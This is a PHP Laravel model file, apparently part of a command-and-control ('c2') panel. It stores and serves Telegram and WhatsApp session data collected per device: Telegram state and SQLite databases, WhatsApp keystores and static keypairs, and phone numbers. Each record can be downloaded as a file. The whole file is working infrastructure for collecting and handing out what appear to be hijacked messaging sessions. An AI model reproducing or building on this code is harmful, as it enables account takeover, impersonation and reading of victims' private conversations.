238 lines
7.5 KiB
PHP
238 lines
7.5 KiB
PHP
<?php
|
|
|
|
namespace App\Models;
|
|
|
|
use Illuminate\Database\Eloquent\Model;
|
|
use Illuminate\Database\Eloquent\Relations\BelongsTo;
|
|
use Illuminate\Support\Facades\Storage;
|
|
|
|
class PluginSession extends Model
|
|
{
|
|
public const KIND_TELEGRAM = 1;
|
|
|
|
public const KIND_WHATSAPP = 2;
|
|
|
|
public static function payloadFilePath(string $kind, string $deviceKey, ?string $accountId): string
|
|
{
|
|
$dir = (int) $kind === self::KIND_TELEGRAM ? 'telegram' : 'whatsapp';
|
|
$safe = $accountId !== null && $accountId !== ''
|
|
? preg_replace('/[^A-Za-z0-9._-]+/', '_', $accountId)
|
|
: 'unknown';
|
|
|
|
return 'c2/plugin-sessions/'.$deviceKey.'/'.$dir.'/'.$safe.'.json';
|
|
}
|
|
|
|
public static function whatsappFilePath(string $deviceKey, ?string $accountId): string
|
|
{
|
|
return self::payloadFilePath(self::KIND_WHATSAPP, $deviceKey, $accountId);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $blob
|
|
* @return array<string, mixed>
|
|
*/
|
|
public static function dbSummary(string $kind, array $blob, string $path, int $bytes): array
|
|
{
|
|
if ((int) $kind === self::KIND_TELEGRAM) {
|
|
return [
|
|
'user_id' => self::scalarOrNull($blob['user_id'] ?? $blob['userId'] ?? null),
|
|
'has_state' => isset($blob['state']) && $blob['state'] !== '' && $blob['state'] !== [],
|
|
'has_db' => isset($blob['db_sqlite']) && $blob['db_sqlite'] !== '' && $blob['db_sqlite'] !== null,
|
|
'payload_path' => $path,
|
|
'payload_bytes' => $bytes,
|
|
];
|
|
}
|
|
|
|
return [
|
|
'nickname' => self::scalarOrNull($blob['nickname'] ?? null),
|
|
'whatsappVersion' => self::scalarOrNull($blob['whatsappVersion'] ?? $blob['version'] ?? null),
|
|
'phoneId' => self::scalarOrNull($blob['phoneId'] ?? null),
|
|
'has_keystore' => isset($blob['phoneKeyStore']) || isset($blob['clientStaticKeypairBase64']),
|
|
'payload_path' => $path,
|
|
'payload_bytes' => $bytes,
|
|
];
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $blob
|
|
* @return array<string, mixed>
|
|
*/
|
|
public static function whatsappDbSummary(array $blob, string $path, int $bytes): array
|
|
{
|
|
return self::dbSummary(self::KIND_WHATSAPP, $blob, $path, $bytes);
|
|
}
|
|
|
|
private static function scalarOrNull(mixed $value): ?string
|
|
{
|
|
if (is_string($value) || is_int($value) || is_float($value)) {
|
|
$value = trim((string) $value);
|
|
|
|
return $value !== '' ? $value : null;
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
protected $fillable = [
|
|
'device_id', 'device_key', 'kind', 'account_id', 'phone', 'payload',
|
|
];
|
|
|
|
protected function casts(): array
|
|
{
|
|
return [
|
|
'kind' => 'integer',
|
|
'payload' => 'array',
|
|
];
|
|
}
|
|
|
|
public function device(): BelongsTo
|
|
{
|
|
return $this->belongsTo(Device::class);
|
|
}
|
|
|
|
public function kindLabel(): string
|
|
{
|
|
return match ($this->kind) {
|
|
self::KIND_TELEGRAM => 'Telegram',
|
|
self::KIND_WHATSAPP => 'WhatsApp',
|
|
default => (string) $this->kind,
|
|
};
|
|
}
|
|
|
|
public function isTelegram(): bool
|
|
{
|
|
return (int) $this->kind === self::KIND_TELEGRAM;
|
|
}
|
|
|
|
public function isWhatsApp(): bool
|
|
{
|
|
return (int) $this->kind === self::KIND_WHATSAPP;
|
|
}
|
|
|
|
/**
|
|
* Compact fields for the collection list (omit large blobs).
|
|
*
|
|
* @return array<string, mixed>
|
|
*/
|
|
public function listSummary(): array
|
|
{
|
|
$payload = is_array($this->payload) ? $this->payload : [];
|
|
if ($this->isWhatsApp()) {
|
|
return [
|
|
'account_id' => $this->account_id ?: '',
|
|
'phone' => $this->phone ?: '',
|
|
'nickname' => $this->scalarFromPayload($payload, ['nickname']),
|
|
'version' => $this->scalarFromPayload($payload, ['whatsappVersion', 'version']),
|
|
'has_keystore' => (bool) ($payload['has_keystore']
|
|
?? (isset($payload['phoneKeyStore']) || isset($payload['clientStaticKeypairBase64']))),
|
|
];
|
|
}
|
|
|
|
return [
|
|
'account_id' => $this->account_id ?: $this->scalarFromPayload($payload, ['user_id', 'userId']),
|
|
'has_state' => (bool) ($payload['has_state']
|
|
?? (isset($payload['state']) && $payload['state'] !== '' && $payload['state'] !== [])),
|
|
'has_db' => (bool) ($payload['has_db']
|
|
?? (isset($payload['db_sqlite']) && $payload['db_sqlite'] !== '' && $payload['db_sqlite'] !== null)),
|
|
];
|
|
}
|
|
|
|
/**
|
|
* Full session blob from the on-disk file, or the JSON column if no file.
|
|
*
|
|
* @return array<string, mixed>
|
|
*/
|
|
public function fullPayload(): array
|
|
{
|
|
$payload = is_array($this->payload) ? $this->payload : [];
|
|
$path = $payload['payload_path'] ?? null;
|
|
if (is_string($path) && $path !== '' && Storage::disk('local')->exists($path)) {
|
|
$decoded = json_decode((string) Storage::disk('local')->get($path), true);
|
|
if (is_array($decoded)) {
|
|
return $decoded;
|
|
}
|
|
}
|
|
|
|
return $payload;
|
|
}
|
|
|
|
public function payloadPath(): ?string
|
|
{
|
|
$path = is_array($this->payload) ? ($this->payload['payload_path'] ?? null) : null;
|
|
|
|
return is_string($path) && $path !== '' ? $path : null;
|
|
}
|
|
|
|
public function downloadFilename(): string
|
|
{
|
|
$label = $this->isWhatsApp() ? 'ws' : 'tg';
|
|
$device = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->device_key ?: $this->device_id)) ?: 'device';
|
|
$account = preg_replace('/[^A-Za-z0-9._-]+/', '_', (string) ($this->account_id ?: $this->id)) ?: 'account';
|
|
|
|
return $label.'-'.$device.'-'.$account.'.json';
|
|
}
|
|
|
|
public function displayPayload(): array
|
|
{
|
|
$payload = $this->fullPayload();
|
|
if ($this->isTelegram()) {
|
|
return $payload;
|
|
}
|
|
|
|
return $this->truncatePayload($payload);
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
*/
|
|
private function scalarFromPayload(array $payload, array $keys): string
|
|
{
|
|
foreach ($keys as $key) {
|
|
$value = $payload[$key] ?? null;
|
|
if (is_int($value) || is_float($value)) {
|
|
return (string) $value;
|
|
}
|
|
if (is_string($value) && trim($value) !== '') {
|
|
return trim($value);
|
|
}
|
|
}
|
|
|
|
return '';
|
|
}
|
|
|
|
/**
|
|
* @param array<string, mixed> $payload
|
|
* @return array<string, mixed>
|
|
*/
|
|
private function truncatePayload(array $payload, int $max = 240): array
|
|
{
|
|
$out = [];
|
|
foreach ($payload as $key => $value) {
|
|
if (is_array($value)) {
|
|
$encoded = json_encode($value);
|
|
if (is_string($encoded) && strlen($encoded) > 1500) {
|
|
$out[$key] = [
|
|
'_omitted' => true,
|
|
'items' => count($value),
|
|
'bytes' => strlen($encoded),
|
|
];
|
|
continue;
|
|
}
|
|
$out[$key] = $this->truncatePayload($value, $max);
|
|
continue;
|
|
}
|
|
if (! is_string($value)) {
|
|
$out[$key] = $value;
|
|
continue;
|
|
}
|
|
if (strlen($value) > $max) {
|
|
$out[$key] = substr($value, 0, $max).'… ('.strlen($value).' bytes)';
|
|
continue;
|
|
}
|
|
$out[$key] = $value;
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
}
|